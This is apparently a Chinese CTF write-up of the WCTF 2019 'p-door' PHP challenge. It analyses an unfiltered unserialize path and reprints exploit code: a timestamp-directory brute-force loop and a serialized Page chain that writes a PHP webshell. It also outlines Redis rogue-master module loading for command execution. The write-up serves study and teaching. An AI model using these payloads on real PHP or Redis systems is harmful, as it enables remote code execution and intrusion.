brief desc
这里提供官方的题目 https://github.com/paul-axe/ctf
今年 WCTF 还是被按在地上摩擦,就 pdoor 这个题目来说,感觉是相当值得多思考几遍的题目了。。
当然里面也有 lcbc 在分享会上的 slide,不过总体来说还是以分享设计思路和解题的方法,当时刚好在 360 某实验室,没听到他们的分享,所以我的思路基本都是基于 wupco 师傅的 wp 来进行的(比赛过程中并没有做出来,菜
简单说一下做题中的思路吧,这道题可以通过 git 泄露拿到源代码,代码很少,主要有几个类,涉及到无过滤的反序列化和文件读/写,其他的点能拿到 flag 的可能性没有想到。
审这个题目是第一天的晚上,看到反序列化的直接入口跟了一下魔术函数,发现并没有什么特殊的地方,根据使用的 redis 无认证,考虑可能会出现 SSRF,又考虑到传统利用不可能在 WCTF 中出现,还是想试一下,准备 SOAP 反序列化打 redis(不过第二天上来发现 SOAP 扩展并未安装)。又找其他地方,发现文件写似乎可以构建为任意文件写,当然只需要确定文件路径和文件内容。先考虑的文件路径,然后卡在 is_dir 就认为不能 bypass 了 .. 然而正确的路径确是如此。
getshell
control the path
我们看一下调用栈:
Controler->doPublish()
=> (new page())->public()
=> Cache::writeToFile
=> file_put_contents
具体调用如下:
class MainController {
public function doPublish(){
$this->checkAuth();
$page = unserialize($_COOKIE["draft"]);
$fname = $_POST["fname"];
$page->publish($fname);
setcookie("draft", null, -1);
die("Your blog post will be published after a while (never)<br><a href=/>Back</a>");
}
}
class Page {
public function __toString(): string {
return $this->render();
}
public function publish($filename) {
$user = User::getInstance();
$ext = substr(strstr($filename, "."), 1);
$path = $user->getCacheDir() . "/" . microtime(true) . "." . $ext;
$user->checkWritePermissions();
Cache::writeToFile($path, $this);
}
}
class Cache {
public static function writeToFile($path, $content) {
$info = pathinfo($path);
if (!is_dir($info["dirname"]))
throw new Exception("Directory doesn't exists");
if (is_file($path))
throw new Exception("File already exists");
file_put_contents($path, $content);
}
}
可以看到整体的逻辑很简洁,我们如果要控制 path,就需要知道 user 类 getCacheDir()
的返回
const CACHE_PATH = "/tmp/cache/";
public function getCacheDir(): string {
$dir_path = self::CACHE_PATH . $this->name;
if (!is_dir($dir_path)){
mkdir($dir_path);
}
return $dir_path;
}
可以发现反函数返回时一个固定值加上传入的 name,而 name 我们是否可控呢?我们看一下大概的源码
class User {
const CACHE_PATH = "/tmp/cache/";
public $name;
public $perms;
private static $_instance = null;
public function __construct($name){
$this->name = $name;
$this->perms = 4;
self::$_instance = $this;
}
public function __wakeup(){
self::$_instance = $this;
}
public static function getInstance(): ?User {
return self::$_instance;
}
public function checkWritePermissions() {
if (!$this->name || !ctype_alnum($this->name))
die("Invalid user");
if ( !(($this->perms >> 2)&1) )
die("Access denied");
}
}
可以发现对 name 的检测在 checkWritePermissions
中,检查是否是字母数字组成。而上文的 checkWritePermissions
函数在下一步调用,故 name 在调用 getCacheDir()
时是完全可控的。但是整个 path 如果可控需要最后的 ext 可控,可以发现 ext 截取了第一个点号之后的内容,如此 ext 也是完全可控的,之后进入 Cache::writeToFile
,其中对 path 进行了处理,先 pathinfo,之后对目录部分进行判断 is_dir。
在实际测试中发现,我们的 path 格式为 $user->getCacheDir() . "/" . microtime(true) . "." . $ext
,可以理解为 /tmp/cache/xmsec/time.php
如果需要控制 path,则需要控制 name 或者 ext。
如果控制name,则无法进入下一步,如果控制 ext,如 /tmp/cache/xmsec/time./../../../../var/www/html/s.php
,发现 pathinfo 目录返回 '/tmp/cache/xmsec/time./../../../../var/www/html'
,无法通过 is_dir,原因在于 time.
目录不存在,判断返回 false。
这样就产生了第一个难点,如果目录穿越则无法通过 is_dir 函数检查。这时如果重新考虑整个过程,发现 name 这个点似乎可以利用,回想 name 的逻辑
public function getCacheDir(): string {
$dir_path = self::CACHE_PATH . $this->name;
if (!is_dir($dir_path)){
mkdir($dir_path);
}
return $dir_path;
}
控制 name,如果目录不存在则 mkdir,可以通过控制 name 来创建 time.
目录,从而绕过 is_dir 的检测!
所以控制任意地址的思路就是,通过控制 name 来创建 dir,进而创建符合时间戳格式和内容的目录,从而在 Cache::writeToFile
调用时,绕过 is_dir 对目录是否存在的检测造成目录穿越(即 /tmp/cache/time.
目录存在),那么此时需要处理的难点就在于如果准确的创建 dir。可以观察到 time.
创建包含了一个微秒时间戳的字符串,想要预测是有难度的,但是我们可以考虑在一定窗口内爆破所有时间戳对应的目录,只要有一个满足就可使下一步通过检查。
这里我们直接看一下 lcbc 给出的 exp,其中 get_server_time() 通过提供的 viewDraft 功能可以查看当前的微秒时间戳,offset 为爆破的时间偏移,即攻击时的时间。
$TIME_WINDOW = 2.000;
$TIME_OFFSET = 150.000;
$server_time = get_server_time();
echo "[+] Got server time: $server_time\n";
$diff = microtime(true) - $server_time;
echo "[*] Creating directories...\n";
create_dir("test");
for ($i = 0; $i < $TIME_WINDOW; $i += 0.0001){
create_dir( "test/".($server_time + $TIME_OFFSET + $i).".");
$progress = intval($i/$TIME_WINDOW*100);
echo "$progress%\r";
}
control content of file
有了上面的大概逻辑,那么下一步就在于任意内容写了。其实也能看出来我们能够控制的内容并不明显, Cache::writeToFile($path, $this);
这句的写入最终调用了 put_contents,那么 $this 被解析为字符串,会调用 __tostring
。这时候再看一下写内容的逻辑。
class Page {
const TEMPLATES = array("main" => "main.tpl", "header" => "header.tpl");
public $view;
public $text;
public $template;
public $header;
public function __construct(string $template) {
$this->template = $template;
}
public function __toString(): string {
return $this->render();
}
public function publish($filename) {
$user = User::getInstance();
$ext = substr(strstr($filename, "."), 1);
$path = $user->getCacheDir() . "/" . microtime(true) . "." . $ext;
$user->checkWritePermissions();
Cache::writeToFile($path, $this);
}
public function renderVars(): string {
$content = $this->view["content"];
foreach ($this->vars as $k=>$v){
$v = htmlspecialchars($v);
$content = str_replace("@@$k@@", $v, $content);
}
return $content;
}
private function getHeader(): ?Page {
return $this->header;
}
public function render(): string {
$user = User::getInstance();
if (!array_key_exists($this->template, self::TEMPLATES))
die("Invalid template");
$tpl = self::TEMPLATES[$this->template];
$this->view = array();
$this->view["content"] = file_get_contents($tpl);
$this->vars["user"] = $user->name;
$this->vars["text"] = $this->text."\n";
$this->vars["rendered"] = microtime(true);
$content = $this->renderVars();
$header = $this->getHeader();
return $header.$content;
}
}
这是 page 类的完整实现,可以发现魔术函数后面还有处理,__toString
=> render
=> renderVars
。
以 render
最后返回的 $content
为例,在 render
函数中 $this->view = array();
对其进行了覆盖,无法直接控制,而 vars
变量是可以直接控制的,跟进 renderVars()
函数中,发现对 content 进行了模板处理,并对其中可控部分进行了 html 实体化,最明显的变化就是 <
被转义了,如果写入 php,则无法解析。
到目前为止,任意内容写入也遇到了问题,$this->view
会被数组覆盖,$this->vars
会被实体化。这里我们回顾一下能够控制部分:
view 的操作都是基于数组的,我们可以使用字符串绕过数组的处理,同时由于弱类型,若其可控,只能输出第一个被控字符。
php > $s="123456";
php > print_r($s['test']);
1
php > $s[0]='01234';
php > print_r($s['test']);
0
php > var_dump($s);
string(6) "023456"
vars 的操作主要在于实体化的过滤,对其的赋值很明显我们可以去控制 $this->text."\n"
。
综上,我们如果写入 webshell <?php phpinfo();
,可以先通过字符串 bypass 写入 <
,再写入之后的部分,之后的内容即使被实体化也不会改变。先考虑如何写入 <
,我们无法从反序列化控制 view,但是可以使用引用(浅拷贝)通过操作其他内容来控制 view,根据上面的分析,显然 text 是最佳的选择,于是就可以构造 $this->view = &$this->vars["text"]
,这样可以通过 text 变相控制 view 为字符串 <
,同时也不会被实体化,那我们我们就控制了第一位是 <
。后面的部分写入据说好几种方法,其中,可以发现 return $header.$content
拼接了两部分 page,完全可以利用这个拼接来写入 <
和之后的 payload,因为 $header
也是一个 page 类。
介绍下 wupco 师傅的具体方法,因为我们需要直接拼接后面的内容,所以起始位必须是可控的,可以发现 main.tpl 完全满足条件,只需要控制 text 就可以写入了。而 lcbc 给的方法十分暴力了
function gen_payload($payload){
$expl = false;
for ($i=0; $i<strlen($payload); $i++){
$p = new Page("main");
$p->text= $payload[$i];
$p->vars["text"] = &$p->view;
if (!$expl)
$expl = $p;
else {
$p->header = $expl;
$expl = $p;
}
}
return serialize($expl);
}
但是通过 main.tpl 写入后会有其他的冗余,造成 php 解析失败,wupco 师傅使用 <?php phpinfo();__halt_compiler();
来中断 opcode 编译,其实,直接 /*
注释掉后面就可以了。
attack redis
github 上已经有成型的工具了,在这里需要把端口转发出来,方法很多,也可以使用 lcbc 直接通过 tcp 链接发送请求的方法,这样需要启动一个 redis,并建立主从同步关系。
这里可以直接用近几天发布的工具:
https://github.com/vulhub/redis-rogue-getshell
原理简单说一下,比较容易理解。
在 redis 2.x 及以前,可以使用 POST REQUEST 发送到 redis 端口从而完全未授权利用,而在 3.x 之后由于安全策略的更新无法通过 POST 攻击,但是可以考虑 SSRF 打 redis。在本题中,可以发现 redis 是 4.0,而且使用 docker 做了服务分离,传统的方法无法得以利用,我们如果要拿到 redis 容器中的文件,则需要考虑其他攻击方式。
出题人曾分享了在 redis 3.x 中的攻击方法,利用了 redis>3.x 版本的一个主从模式 (slave) 的一个安全问题。
整体思路在于利用 FULLRESYNC
同步一个 module,module 功能是 redis 新添加的,这样我们可以导入一个我们可控的 so 文件,从而增加 redis 对命令解析的功能,以达到命令执行的效果。
具体原理可以看 https://xz.aliyun.com/t/5616
对于利用的扩展可以看 lemon 师傅写的 https://www.cnblogs.com/iamstudy/articles/redis_load_module_rce.html
ref
1.https://hackmd.io/@ZzDmROodQUynQsF9je3Q5Q/HkzsDzRxr
2.https://github.com/paul-axe/ctf/blob/master/wctf2019/p-door/p-door.pdf
3.https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf